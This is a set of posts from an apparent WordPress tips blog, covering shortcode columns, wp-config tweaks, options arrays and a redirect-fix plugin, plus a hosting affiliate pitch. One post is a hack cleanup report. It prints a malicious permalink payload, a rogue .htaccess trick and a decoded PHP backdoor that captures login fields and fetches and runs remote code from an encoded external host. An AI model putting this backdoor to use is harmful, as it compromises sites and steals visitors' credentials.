Ok, so life has intruded and I haven’t updated things here as often as I’d hoped.

So here’s a little treat: how to display your content in two columns.

Why should you display content in two columns? Narrower text columns can increase readability, especially if you have a wide ( 600px or more ) content column. There is a lot of discussion out there on the advantages of narrow text columns, give Google a shot if you’re interested.

We could create a plugin for this, but for ease of demonstration, we’ll just put it in the theme’s functions.php file. Note: with some themes like Thesis or Genesis, you may need to add this to a ‘custom’ functions file. Consult your documentation.

We will define two shortcode pairs, [leftcol] and [rightcol]. You’ll start the left column content with the [leftcol] shortcode tag, and end it with the [/leftcol] closing tag. Repeat for the right column. Shortcode tags MUST begin on a new line in your editor, or WordPress won’t recognize them as shortcodes. If you see one of the shortcode tags in your displayed post, that’s probably why.

Here is what the two columns above look like in the post editor:

[leftcol]How to do it? We're going to use the WordPress shortcode handler, and a little bit of CSS, instead of modifying a theme template. This way, if you WANT two columns, you can have them, if not, don't. Also, it's still a little problematic to split a body of text automagically using scripting.[/leftcol]
[rightcol] The columns usually NEVER break where you want. Using shortcodes to define the column content allows us to control what goes where.[/rightcol]

Here is the code:

/**********************
*
* shortcode handler for columnization of project posts
* ex: [leftcol]content here...[/leftcol]
*/
function shortcode_columnize_left( $atts, $content = null ) {
 $content = wptexturize( $content );
 $content = wpautop( $content );
 $content = '<div style="width: 45%; margin-right: 5%; float: left; text-align: justify; ">' . $content . '</div>';
 return $content;
}

/* columnize right inserts 'clear' div after content */
function shortcode_columnize_right( $atts, $content = null ) {
 $content = wptexturize( $content );
 $content = wpautop( $content );
 $content = '<div style="width: 45%; float: left; text-align: justify;">' . $content . '</div><div style="clear: both;"></div>';
 return $content;
}
add_shortcode( 'leftcol', 'shortcode_columnize_left' );
add_shortcode( 'rightcol', 'shortcode_columnize_right' );

We define functions to take the content that is between the shortcode tag pairs, run it through the same filters that WordPress uses for post content, wptexturize() and wpautop(), then spit it out within a div with a width of 45%, right margin of 5%, floated to the left, and the same with the right column but without the right margin. We add a div after the right content with a style of “clear: both” so that the rest of the page content clears the floated divs.

Then we tell WordPress to use our functions when it encounters the [leftcol] and [rightcol] shortcode tags within our post.

Voila, finit. That’s all there is to it.

Because some days are better than others, I managed to upload the wrong zip file of the link cloaker plugin. That error has been corrected. This is the correct download link for the Simple Link Cloaker plugin.

It seems that if I had named the Simple Link Cloaker plugin The Fabulous Redirector instead, all would have been well – but the guys/girls that run the WordPress plugin repository didn’t like the term ‘cloaker’. I guess it implies being shady, which we all know is not the intent or use for this plugin.

At any rate, since you can’t get it from WordPress any more, you can get it here: ilwp-simple-link-cloaker. Installation is a snap, if you remember the old way of installing plugins:

1. download the plugin zip file to your computer
2. unzip the file into a directory
3. upload the entire plugin folder to your wp-content/plugins folder
4. activate through the Dashboard > Plugins interface

Thank you for all of your support!

With the advent of WordPress version 3, my most common fixit request has been, “Help! I just see a white screen on my blog!”

I’ll share with you what I’ve found to be the most common cause, but first there’re a few things you can do to at least get back up and running again.

If you have Dashboard access, first disable ALL of your plugins. 9 times out of 10, you’ll see your site reappear.

If you still see just a white screen, the next step is to switch themes. Activate WordPress’s default theme (the twenty-ten theme, now) and check your site again.

If that didn’t fix your problem, you’ll need to start verifying core files and such, or employ the services of a WordPress professional to help you get your site back up and running.

The WordPress  team did a great and wonderful thing when they included auto-save and revisions for posts/pages. If you’re in a collaborative environment, referring to previous revisions can be a useful tool. And auto-save? If you haven’t had a computer crash in the middle of writing a blog post, you’re probably in the minority

On the flip side, most of us don’t need to see countless revisions that we may have made. Fix a typo? One more revision. The list can get pretty long.

And really – do we really need an auto save once every minute? I don’t know about you, but I don’t type that fast…

Fortunately, as for most annoyances in WordPress, there is a relatively easy fix for both auto-saves and post/page revisions. You’ll need to edit your wp-config.php file (for those of you who installed WP by hand, that’s the file where you entered your database information).

FTP into your WordPress installation on your server, then download the wp-config.php file to your computer. Immediately, before you do anything else, make a backup copy. Always always always keep a backup copy of files you edit. An error as tiny as a misplaced comma can render your blog unusable.

Changing the AutoSave interval

You’ll need to add the following line to your wp-config.php file:

define('AUTOSAVE_INTERVAL', 180 );  // # of seconds between saves

Change the ’160′ number to whatever autosave interval you want. I usually use 180, or 3 minutes.

Change the post Revisions settings

Unlike AutoSave, you can actually turn post/page revisions off if you really want to. Or, you can specify the number of revisions you want to keep.

To turn revisions off, add this line to wp-config.php:

define('WP_POST_REVISIONS', false );

If you want to keep revisions on, but limit the number that WordPress saves, use a number instead of the keyword false:

define('WP_POST_REVISIONS', 6);

There. Pretty simple, eh? Save your wp-config.php file, then upload it back to your server. Your changes will take effect immediately.

Note: if you’re not a WordPress plugin developer, this probably won’t interest you.

I ran across this again today, hence my rant:

I installed a plugin from the WordPress Plugin Repository ( the place that hosts WordPress plugins so you can download them ), THEN looked through the code. This small specialty plugin added 17 options to the options table!

WP developer peeps, there is no excuse for this. By adding so many options, you clog up the options table. Unless you specify the option as an autoload, you’re using a database read every time you call get_option(). What a waste!

What should you do instead? Glad you asked!

Combine your options into an array. Easy smeasy. WordPress will store your options array as serialized data. Return get_option() to a variable at the start of your script, giving you easy access to all its components.

The WordPress core is getting sizable enough that responsible developers need to optimize their code as much as possible. Eliminating unnecessary database reads/writes is a good first step.

If you need an example, leave a comment and I’ll post one.

EDIT: as requested, here’s a couple of examples. First, what many developers do but shouldn’t:

$myoption1 = "ted";
$myoption2 = "fred";
$myoption3 = "jed";

update_option( 'myoption1', $myoption1);
update_option( 'myoption2', $myoption2);
update_option( 'myoption3', $myoption3);

Notice how the above uses 3 different options: myoption1, myoption2, myoption3. These take up 3 rows in the database, and require 3 different calls to get_option() when the data is needed. Now, 3 isn’t very many – but consider when your plugin uses 30 or 40 different options or presets ( some of mine do ). The potential to clutter up the database and cause a slowdown in your page load times is huge.

Here’s how you should code your options:

$myoptions = array( 'option1' => 'ted', 'option2' => 'fred', 'option3' => 'jed');
update_option( 'myoption', $myoptions );

And that’s all there is to it. The update_option function recognizes that you are passing an array and serializes the values for entry in the database. When you need to retrieve the options, simply call get_option into an array variable, and access from there. One call, 40 options. Lotsa overhead saved

$myoptions = get_option( 'myoption');

/*
now, $myoptions['option1'] = 'ted', $myoptions['option2'] = 'fred', and so on.
*/

I don’t put my stamp of approval on too many things, but I do need to tell you about the hosting that I use and highly recommend – HostGator.

I have been on the web for over 10 years now, and seen a lot of hosting companies come and go, and used several. Never have I had the experience that I have had with HostGator. It’s been, in a word, fantastic.

Remember to use the coupon code "ILIKEWORDPRESS" for your first month free!

Support

Number one, their support has been great. I have experienced a handful of isolated problems over the last 3 years I’ve been with them, and all were handled promptly, professionally, and FAST. There’s nothing worse than having a client call in the middle of the night crying, “my site is down!” In those situations, I need the problem handled quickly, and HostGator has never let me down.

Features

What a hosting company can do for me is important. I need technical goodies, I need plenty of bandwidth and storage space, and I don’t need to be nitpicked over how many databases I use. HostGator shines in that department. Unlimited storage, unlimited domains, unlimited bandwidth, unlimited MySQL databases. Of course, ‘unlimited’ doesn’t always mean unlimited. If your account starts hogging server resources, you’ll garner some attention.

That said, I’ve never had it be an issue. On one of my Baby accounts, I run 35 sites. Admittedly, they’re not high-volume super popular sites, but they get their share of traffic.

Special Deal for ILikeWordPress.com readers

HostGator has allowed me to offer you a special deal! Use the coupon code “ILIKEWORDPRESS” and get your first month’s Baby plan hosting for only $0.01!! That’s right – ONE PENNY. How cool is that?

Go ahead and get signed up – click any of the links to go to HostGator, or one of the banners, and remember to use coupon code ILIKEWORDPRESS at checkout for your discount!

While visiting Lynn Terry’s Clicknewz blog, I noticed something that I hadn’t really given a lot of thought to: is there a reason to NOT display a blog post’s date? (Off-Topic Warning – Lynn writes a fantastic blog on Internet Marketing with posts like Taking Daily Action: Huge Goals, Little Steps – you really should check it out if you’re interested in making money on the net)

Anyway, Lynn doesn’t display post dates on her blog posts except for some of the archive listings. After checking out quite a few other blogs, I see that somewhere around 25% of bloggers do NOT put dates on their posts.

After communing with the great and powerful Google, I found this post by Darren Rowse of ProBlogger: Dates on Blog Posts – Should You Have Them? where he discusses the question at length.

I’m not going to get into the question of whether you should or shouldn’t display the date on your blog posts other than to say that personally, I find it annoying when I can’t find a post date. Knowing when a piece was written adds a certain relevance to my consideration of the post content.

One of the suggestions Darren made was to display the date only on recent posts:

Dates on Recent Posts But Not on Older Ones - I saw one blogger do this last year (I’m afraid I don’t remember who it was). They had hacked WordPress so that dates appeared on recent posts (within the last 3 months) but anything older than that did not have time stamps either on the post or comments. This meant that the blogger benefited from new posts looking new and took the potential distraction of old posts away from readers. I don’t know exactly how the blogger did it but presume they set up a rule that looked at the date of authorship and then determined whether the date would be displayed or not.

The ‘hack’ that Darren mentions is actually pretty easy, if you’re comfortable modifying your theme files. Using WordPress’s new “twentyten” theme that comes packed with WordPress 3.0, I’ll show you exactly what you have to do to show the post dates on single posts only if they’re fresher than 3 months old. 3 months is an arbitrary figure, by the way, so adjust it to whatever spins your prop.

Note: the new twentyten theme wraps up the post meta information ( date, author, etc.) into a function. When you disable this function, you’ll lose that line completely, exactly like Lynn’s posts.

I recommend that you do NOT use the built-in theme editor in WordPress, especially when you’re messing around with PHP coding. One misplaced semi-colon and you could render your blog DOA. Then the only cure is to use an FTP client and replace the screwed-up theme file. If you MUST use the built-in editor, be certain that you have a clean backup of the file you’re working on!

So, step one: locate the single.php file within the twentyten theme folder and make a backup.

Open single.php in your fav text editor. The section that holds the meta display code begins on line 25 and looks like this (disregard the line #s in the examples that follow):

<div class="entry-meta">
  <?php twentyten_posted_on(); ?>
</div><!-- .entry-meta -->

What we’re going to do is to insert a test – is the post less than 90 days old? If so, display the post particulars. If not, leave it blank.

To do that, we’ll use a simple ‘if’ statement, comparing the date 90 days ago with that of the post. We will use PHP’s useful strtotime() date conversion function to make things easy:

<?php
if ( strtotime( get_the_date() ) > strtotime( "90 days ago" ) ) {
?>
<div class="entry-meta">
 <?php twentyten_posted_on(); ?>
</div>
<?php
 }
 ?>

The strtotime() function converts whatever is in the parentheses to a Unix timestamp. The function get_the_date() is a new WordPress 3.0 function that fetches the post date and returns it in the format specified in your preferences.

And there you have it – no more dates on posts older than 90 days old.

The same project that led to the post Loading WordPress From index.php involved cleaning up after a hacking incident. In fact, that’s what the initial work order was for.

This blog was hit recently by the same attack that has been in the news for the last few days. Lorelle on WordPress wrote some things about it:

There are two clues that your WordPress site has been attacked.

There are strange additions to the pretty permalinks, such as example.com/category/post-title/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/. The keywords are “eval” and “base64_decode.”

The second clue is that a “back door” was created by a “hidden” Administrator. Check your site users for “Administrator (2)” or a name you do not recognize. You will probably be unable to access that account, but Journey Etc. has a possible solution.

This blog was different in that there were no other admin accounts created. The same code was appearing in permalinks ( and was, indeed, shown in Settings -> Permalinks ).

Another symptom of this type of general attack are posts that are filled with spam links enclosed within HTML comment tags. You’ll not see them, but Google does.

Looking a little deeper, I found evidence of another previous hack job. The server error log contained hundreds of these entries:

[Wed Sep  8 11:40:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/downlaod.nod.32.php
[Wed Sep  8 11:38:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/instalation.com.php
[Wed Sep  8 11:38:04 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/muonline.win_mu.php
[Wed Sep  8 11:36:19 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/DV-driver.crack.php
[Wed Sep  8 11:35:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/koolmoves.5.key.php
[Wed Sep  8 11:34:34 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/inurl:.free.xxx.php
[Wed Sep  8 11:33:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crak.do.flash.5.php
[Wed Sep  8 11:32:23 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/wow.1.10.2.enus.php
[Wed Sep  8 11:31:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/torrent.stylexp.php
[Wed Sep  8 11:28:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crack.for.harry.php

WTF? 66.249.71.154, according to reverse IP lookup, is Googlebot. Why is Googlebot trying to load these files? Still haven’t found the answer to THAT question. But what I find next begins to shed some light…

I poke around in the filesystem, and I find a number of folders within the WordPress wp-content folder that had extra files added to them (including the plugins/podpress folder):

.htaccess
date.php
time.php
include.php

The filenames between the folders were all different, with the exception that they all had an .htaccess file. Here’s what was in .htaccess file in the wp-content/header folder:

Options -MultiViews

ErrorDocument 404 //wp-content/header/time.php

So what’s happening is that any request for http://domain.com/wp-content/themes/header/anyfilename.php would result in time.php being served as the 404 page.

And time.php (along with all the other added php files) is a nasty little bugger:

<?php
error_reporting(0);
$p="bcjihzzazbzgc";
eval(base64_decode("Y2xhc3MgbmV3aH... more characters here, several K's worth ... R0cHsNCnZhciAkZnVsbX0="));
?>

So the code turns off error reporting, then says to eval (run) the code enclosed in quote marks after base64 decoding. I haven’t taken the time to figure out what the class that the file defines does, but somehow I don’t think it’s anything nice. After decoding, this is the file contents:

<?php
class newhttp {var $fullurl;var $p_url;var $conn_id;var $flushed;var $mode = 4;var $defmode;var $redirects = 0;var $binary;var $options;var $stat = array('dev' => 0,'ino' => 0,'mode' => 0,'nlink' => 1,'uid' => 0,'gid' => 0,'rdev' => -1,'size' => 0,'atime' => 0,'mtime' => 0,'ctime' => 0,'blksize' => -1,'blocks' => 0);
function error($msg='not connected') {if ($this->options & STREAM_REPORT_ERRORS) {trigger_error($msg, E_USER_WARNING);}return false;}
function stream_open($path, $mode, $options, $opened_path) {$this->fullurl = $path;$this->options = $options;$this->defmode = $mode;$url = parse_url($path);if (empty($url['host'])) {return $this->error('missing host name');}$this->conn_id = fsockopen($url['host'], (empty($url['port']) ? 80 : intval($url['port'])), $errno, $errstr, 2);if (!$this->conn_id) {return false;} if (empty($url['path'])) {$url['path'] = '/';}$this->p_url = $url;$this->flushed = false;if ($mode[0] != 'r' || (strpos($mode, '+') !== false)) {$this->mode += 2;}$this->binary = (strpos($mode, 'b') !== false);$c = $this->context();if (!isset($c['method'])) {stream_context_set_option($this->context, 'http', 'method', 'GET');}if (!isset($c['header'])) {stream_context_set_option($this->context, 'http', 'header', '');}if (!isset($c['user_agent'])) {stream_context_set_option($this->context, 'http', 'user_agent', ini_get('user_agent'));}if (!isset($c['content'])) {stream_context_set_option($this->context, 'http', 'content', '');}if (!isset($c['max_redirects'])) {stream_context_set_option($this->context, 'http', 'max_redirects', 5);}return true;}
function stream_close() { if ($this->conn_id) { fclose($this->conn_id);$this->conn_id = null;} }
function stream_read($bytes) { if (!$this->conn_id) { return $this->error();} if (!$this->flushed && !$this->stream_flush()) { return false;} if (feof($this->conn_id)) { return '';} $bytes = max(1,$bytes);if ($this->binary) { return fread($this->conn_id, $bytes);} else { return fgets($this->conn_id, $bytes);} }
function stream_write($data) { if (!$this->conn_id) { return $this->error();} if (!$this->mode & 2) { return $this->error('Stream is in read-only mode');} $c = $this->context();stream_context_set_option($this->context, 'http', 'method', (($this->defmode[0] == 'x') ? 'PUT' : 'POST'));if (stream_context_set_option($this->context, 'http', 'content', $c['content'].$data)) { return strlen($data);} return 0;}
function stream_eof() { if (!$this->conn_id) { return true;} if (!$this->flushed) { return false;} return feof($this->conn_id);}
function stream_seek($offset, $whence) { return false;}
function stream_tell() { return 0;}
function stream_flush() { if ($this->flushed) { return false;} if (!$this->conn_id) { return $this->error();} $c = $this->context();$this->flushed = true;$RequestHeaders = array($c['method'].' '.$this->p_url['path'].(empty($this->p_url['query']) ? '' : '?'.$this->p_url['query']).' HTTP/1.0', 'HOST: '.$this->p_url['host'], 'User-Agent: '.$c['user_agent'].' StreamReader' );if (!empty($c['header'])) { $RequestHeaders[] = $c['header'];} if (!empty($c['content'])) { if ($c['method'] == 'PUT') { $RequestHeaders[] = 'Content-Type: '.($this->binary ? 'application/octet-stream' : 'text/plain');} else { $RequestHeaders[] = 'Content-Type: application/x-www-form-urlencoded';} $RequestHeaders[] = 'Content-Length: '.strlen($c['content']);} $RequestHeaders[] = 'Connection: close';if (fwrite($this->conn_id, implode("\r\n", $RequestHeaders)."\r\n\r\n") === false) { return false;} if (!empty($c['content']) && fwrite($this->conn_id, $c['content']) === false) { return false;} global $http_response_header;$http_response_header = fgets($this->conn_id, 300);$data = rtrim($http_response_header);preg_match('#.* ([0-9]+) (.*)#i', $data, $head);if (($head[1] >= 301 && $head[1] <= 303) || $head[1] == 307) { $data = rtrim(fgets($this->conn_id, 300));while (!empty($data)) { if (strpos($data, 'Location: ') !== false) { $new_location = trim(str_replace('Location: ', '', $data));break;} $data = rtrim(fgets($this->conn_id, 300));} trigger_error($this->fullurl.' '.$head[2].': '.$new_location, E_USER_NOTICE);$this->stream_close();return ($c['max_redirects'] > $this->redirects++ && $this->stream_open($new_location, $this->defmode, $this->options, null) && $this->stream_flush());} $data = rtrim(fgets($this->conn_id, 1024));while (!empty($data)) { $http_response_header .= $data."\r\n";if (strpos($data,'Content-Length: ') !== false) { $this->stat['size'] = trim(str_replace('Content-Length: ', '', $data));} elseif (strpos($data,'Date: ') !== false) { $this->stat['atime'] = strtotime(str_replace('Date: ', '', $data));} elseif (strpos($data,'Last-Modified: ') !== false) { $this->stat['mtime'] = strtotime(str_replace('Last-Modified: ', '', $data));} $data = rtrim(fgets($this->conn_id, 1024));} if ($head[1] >= 400) { trigger_error($this->fullurl.' '.$head[2], E_USER_WARNING);return false;} if ($head[1] == 304) { trigger_error($this->fullurl.' '.$head[2], E_USER_NOTICE);return false;} return true;}
function stream_stat() { $this->stream_flush();return $this->stat;}
function dir_opendir($path, $options) { return false;}
function dir_readdir() { return '';}
function dir_rewinddir() { return '';}
function dir_closedir() { return;}
function url_stat($path, $flags) { return array();}
function context() { if (!$this->context) { $this->context = stream_context_create();} $c = stream_context_get_options($this->context);return (isset($c['http']) ? $c['http'] : array());}}
if(isset($_POST["l"]) and isset($_POST["p"])){if(isset($_POST["input"])){$user_auth="&l=".base64_encode($_POST["l"])."&p=".base64_encode(md5($_POST["p"]));} else {$user_auth="&l=".$_POST["l"]."&p=".$_POST["p"];}} else {$user_auth="";}if(!isset($_POST["log_flg"])){$log_flg="&log";}$rkht=1;if(version_compare(PHP_VERSION,'5.2','>=')){if(ini_get('allow_url_include')){$rkht=1;}else{$rkht=0;}}if($rkht==1){if(ini_get('allow_url_fopen')){$rkht=1;}else{$rkht=0;}}$v=$p.base64_decode("LnVzZXJzLmJpc2hlbGwucnU=")."/?r_addr=".sprintf("%u", ip2long(getenv("REMOTE_ADDR")))."&url=".base64_encode($_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]).$user_auth.$log_flg;if($rkht==1){if(!@include_once(base64_decode("aHR0cDovLw==").$v)){}}else{stream_wrapper_register('http2','newhttp');if(!@include_once(base64_decode("aHR0cDI6Ly8=").$v)){}}
?>

Anyway, that’s what I found, that’s what I had to clean up. Six and a half hours to go through all of the files looking for this thing, cleaning up as I went.

UPDATE:

Since writing this post, I’ve completed 4 more site cleanups — each averaging over 4 hours. Gets rather expensive, guys and girls.

Please keep your WordPress installs up to date. That’s the most efficient way to guard against this kind of maliciousness.

One of WordPress’ strengths is its attention to SEO-related issues in its core files. One of those issues is the problem of having the home page of the blog indexed twice in the search engines; once under the actual address, http://domain-name.com/index.php, and the other as the plain domain name: http://domain-name.com. Note that this is a different problem than the trailing slash problem ( http://domain-name.com/ vs. http://domain-name.com ) which WordPress also takes care of.

WordPress handles the index.php problem by rewriting requests for http://domain-name.com/index.php to http://domain-name.com. All well and good, and beneficial for most sites.

But that rewriting/redirecting caused some problems on a site I was working on yesterday, and once I figured out how, it was a relatively easy fix.

Here’s what happened: a client had me upgrade an old installation of SemioLogic’s version of WordPress to genuine WordPress. While it can be time-consuming, switching over is a fairly straightforward process most of the time. The challenge here was that while most of the site is normal .html files, WordPress is installed at the root level, and is not actually serving the ‘home’ page of the site.

So you can maybe see where this is headed: the ‘home’ page of the site is index.html. That’s what comes up when you ask for http://domain-name.com. The server is set to look for index.html first, then index.php if index.html isn’t there. So to get to the blog, you had to ask for http://domain-name.com/index.php.

But when you asked for index.php, WordPress, being the dutiful SEO-friendly software that it is, stripped off “index.php” from the request, and redirected to http://domain-name.com.

The server saw the request for the site index file and promptly served up index.html. So you couldn’t get to the home page of the blog. If you had a specific post URL and typed it in, it worked fine.

Easy fix, says I. Settings -> General, change the WordPress url to http://domain-name.com/index.php from http://domain-name.com.

Oops. Now all the permalinks have ‘index.php/’ prepended: http://domain-name.com/index.php/i-want-this-post. Not good, and not intended, especially as the site has been indexed in Google without the index.php in there.

I never did figure out how SemioLogic handled this; obviously it was working before the changeover. Undoubtedly there was an easy setting that disappeared once the SL files were gone. I can only think this issue had come up before and the author of SL provided a workaround.

Thankfully, the coders of WordPress also recognized that there may be a time when rewriting URLs wasn’t good so they provided a filter to disable or alter the rewrite. Once I found that notation in includes/canonical.php, the fix was a breeze. Write a plugin that disables the redirect to / when /index.php is called for. Here is the entire plugin:

<?php
/*
Plugin Name: Index.php fix
Plugin URI: http://ilikewordpress.com/loading-wordpress-from-index-php
Description: This plugin allows a blog installed at root to be addressed by /index.php. Remedies stripping of filename by includes/canonical.php
Author: Steve Johnson
Version: 1.0
Author URI: http://ilikewordpress.com/
*/

/*
*    Applies filter to redirect_canonical to defeat
*    stripping of index.php file
*/

function fix_index( $requested_url ) {
 if ( get_bloginfo( 'url' ) == $requested_url )
 return false;
}
add_filter( 'redirect_canonical', 'fix_index' );

?>

And that’s all there is to it. Now when a browser asks for ‘index.php’, that’s what it gets instead of a redirection to /.

You could also put this in the functions.php file of a theme, but obviously it wouldn’t work if the theme were changed.

On this and other blogs, I have a recurring pain in the butt issue. Some people subscribe to a comment thread, and upon every comment following, I get a challenge email from SpamArrest when the notification of a new comment email is sent.

Here’s news: I don’t click the verify link. As a matter of fact, I don’t even GET the verify link. All of those verification emails go straight to my trash can. I realize this might not be very reader-friendly, but I simply don’t have time to open up every email and click those stupid links, even if I were inclined to.

So please – if you’re a spamarrest customer and you want to subscribe to a comment thread, put ilikewordpress.com on whatever kind of whitelist they have so you can get the subscription notifications. Otherwise, you won’t get any notices from this site about updated comments.